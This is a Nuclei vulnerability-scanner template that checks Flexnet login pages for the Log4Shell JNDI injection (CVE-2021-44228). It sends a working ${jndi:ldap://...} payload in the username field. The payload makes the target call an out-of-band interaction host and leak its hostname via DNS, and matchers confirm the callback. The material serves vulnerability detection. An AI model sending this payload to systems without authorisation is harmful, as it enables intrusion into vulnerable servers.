nuclei-templates/http/vulnerabilities/other/flexnet-log4j-rce.yaml

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id: flexnet-log4j-rce
info:
name: Flexnet - Remote Code Execution (Apache Log4j)
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author: shaikhyaser
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severity: critical
description: |
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Flexnet is susceptible to Log4j JNDI remote code execution.
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reference:
- https://community.flexera.com/t5/Revenera-Company-News/Security-Advisory-Log4j-Java-Vulnerability-CVE-2021-4104-CVE/ba-p/216905
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
cvss-score: 10
cve-id: CVE-2021-44228
cwe-id: CWE-77
metadata:
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shodan-query: title:"Flexnet"
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max-request: 1
tags: cve,cve2021,rce,jndi,log4j,flexnet,oast,kev
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variables:
rand1: '{{rand_int(111, 999)}}'
rand2: '{{rand_int(111, 999)}}'
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str: "{{rand_base(5)}}"
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http:
- raw:
- |
POST /flexnet/logon.do HTTP/1.1
Host: {{Hostname}}
Origin: {{RootURL}}
Referer: {{RootURL}}/flexnet/logon.do
Content-Type: application/x-www-form-urlencoded
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action=logon&username=${jndi:ldap://${:-{{rand1}}}${:-{{rand2}}}.${hostName}.username.{{interactsh-url}}/{{str}}}&password={{str}}&domain=FLEXnet
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matchers-condition: and
matchers:
- type: word
part: interactsh_protocol #Confirms the DNS Interaction
words:
- "dns"
- type: regex
part: interactsh_request
regex:
- '\d{6}\.([a-zA-Z0-9\.\-]+)\.([a-z0-9]+)\.([a-z0-9]+)\.([a-z0-9]+)\.\w+' #Print extracted ${:-{{rand1}}}${:-{{rand2}}}.${hostName} in output
extractors:
- type: kval
kval:
- interactsh_ip #Print remote interaction IP in output
- type: regex
group: 2
regex:
- '\d{6}\.([a-zA-Z0-9\.\-]+)\.([a-z0-9]+)\.([a-z0-9]+)\.([a-z0-9]+)\.\w+' #Print injection point in output
part: interactsh_request
- type: regex
group: 1
regex:
- '\d{6}\.([a-zA-Z0-9\.\-]+)\.([a-z0-9]+)\.([a-z0-9]+)\.([a-z0-9]+)\.\w+' #Print extracted ${:-{{rand1}}}${:-{{rand2}}}.${hostName} in output
part: interactsh_request
# digest: 4a0a004730450220096e8df0b677793c90b32c0a66e9862443adf7b8118f44742e1cd4e2c37b183a022100f17c5f0424fbb6a977bd9c3b15b4ff79d08c3dbbc71f80c9a8d1d0c389c39a0b:922c64590222798bb761d5b6d8e72950